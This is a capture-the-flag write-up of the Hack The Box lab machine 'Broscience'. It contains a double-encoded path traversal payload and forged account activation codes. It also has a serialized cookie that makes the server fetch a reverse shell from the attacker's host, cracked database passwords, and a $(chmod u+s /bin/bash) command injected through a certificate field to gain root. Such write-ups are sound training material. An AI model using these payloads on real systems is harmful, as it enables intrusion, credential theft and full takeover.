HTB Broscience

We run an initial scan against the target :10.10.11.195

We find the domain is broscience.htb and add that to the /etc/hosts file and run the scan again:
nmap -sC -sV -oA nmap/initial 10.10.11.195

We run nikto against the site while we check it out:
nikto -h https://broscience.htb

We visit the site and look at the certificate since it directs us to the site in port 443:

We see an email address so we have a username at least.
The site appears to be a blog:

There is a login.php page, and we can view all the users from the user.php?id= paramater.

We can create a new user, but cannot login without validating the email account.

The nikto scan showed us the https://broscience.htb/includes/ folder which has a file img.php that gives us an error when we open it:

This tells us we can use the ?path= parameter.

We use /etc/passwd and get an error:

Let's try web encoding using burpsuite
https://www.url-encode-decode.com/

We encode once, and we get the same error. We double encode, and we get no errors:
..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd

We read the source code for the php file we're using to see if we can get a hint at what we're not supposed to look for:
..%252F..%252F..%252F..%252F..%252F..%252Fvar%252Fwww%252Fhtml%252Fincludes%252Fimg.php

We can leak the contents of the other files in the includes directory too:

The db_connect.php file gives us some credentials and a possible password:

RangeOfMotion%777

Those credentials don't work through ssh.

We examine the source code of the register.php file and see that the activation code is encoded using the utils.php file in the /includes directory:

The activation code uses the random string generated by the characters in addition to the server time.

We can make a user account creation request using curl, and then get the post body response back using the -i flag.

The request looks like this:

curl -X POST -d 'username=banana&email=email%40email.com&password=password&password-confirm=password' https://broscience.htb/register.php -k -i

We use the following site to convert the time on the server and then run the php code locally to generate the activation code.

https://www.epochconverter.com/

Then we insert the timestamp into the php code, and run it using
php -f activation.php


We can use curl the activate the account by visiting the link from the register.php file:

curl -k -X POST -b 'PHPSESSID=k3k3noofq1asp18u5atu24vqgp' https://broscience.htb/activate.php?code=Recd2yo9dM8tcdm0lyzheJERDa9AIKrm -i

We activated the account:

Once we login we are given a new cookie. The new cookie is generated from the utils.php page and is serialized. There is a function that can be exploited because it writes a tmp file and invokes it from the server to create the user-pref cookie.
https://infosecwriteups.com/bro-science-htb-medium-ac5ee09cbdda?source=---------1-----------------------

We can copy the php code and modify it to invoke a reverse shell script from our machine and attempt to get a shell:

We create a new cookie for ourself. We need to open our webserver on port 9090 and create our reverse.php shell file:

TzoxNToiQXZhdGFySW50ZXJmYWNlIjoyOntzOjM6InRtcCI7czozNToiaHR0cDovLzEwLjEwLjE0LjMzOjkwOTAvcmV2ZXJzZS5waHAiO3M6NzoiaW1nUGF0aCI7czoxMzoiLi9yZXZlcnNlLnBocCI7fQ==

We load the string into the cookie under user-prefs, reload the page, and then get a shell upload:

We navigate to our reverse.php page and get a shell:

The db credentials we found earlier are postgresql credentials and the server is running on port 5432
dbhost="localhost";db_host = "localhost"; db_port = "5432";
dbname="broscience";db_name = "broscience"; db_user = "dbuser";
dbpass="RangeOfMotiondb_pass = "RangeOfMotion%777"; db_salt = "NaCl";

We attempt to login:
psql -h localhost -p 5432 -U dbuser -d broscience

we use \dt; and see the tables:

We use the select * from users; and get password hashes:

administrator 15657792073e8a843d4f91fc403454e1
bill 13edad4932da9dbb57d9cd15b66ed104
michael bd3dad50e2d578ecba87d5fa15ca5f85
john a7eed23a7be6fe0d765197b1027453fe
dmytro 5d15340bded5b9395d5d14b9c21bc82b

We know the db uses the salt NaCl so we can try using hashcat to crack them:
we use the formatting hash:salt
hashcat -m 20 hashes /usr/share/wordlists/rockyou.txt

Three hashes cracked:

bill:iluvhorsesandgym
dymtro:Aaronthehottest
michael:2applesplus2apples

We ssh into bill's account and get the user.txt:
ssh -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" bill@broscience.htb

1e514f8804d542b23ab45327c1dd6ee6

We run pspy64 to see what processes are running with elevated permissions:

We see that the root user is executing a script

The root user runs a script to verify whether a certificate is close to expiring. If it is the script will print out information about the certificate.

We can try generating a self signed certificate using the information below:
https://www.ibm.com/docs/en/api-connect/10.0.1.x?topic=overview-generating-self-signed-certificate-using-openssl

openssl req -x509 -sha256 -nodes -newkey rsa:4096 -days 5 -keyout broscience.key -out broscience.crt

The $(chmod u+s /bin/bash) is used to modify the permissions on /bin/bash and make it suid.

It worked, and now we are root:

804d73ab424ed0c79c2baee2df93f641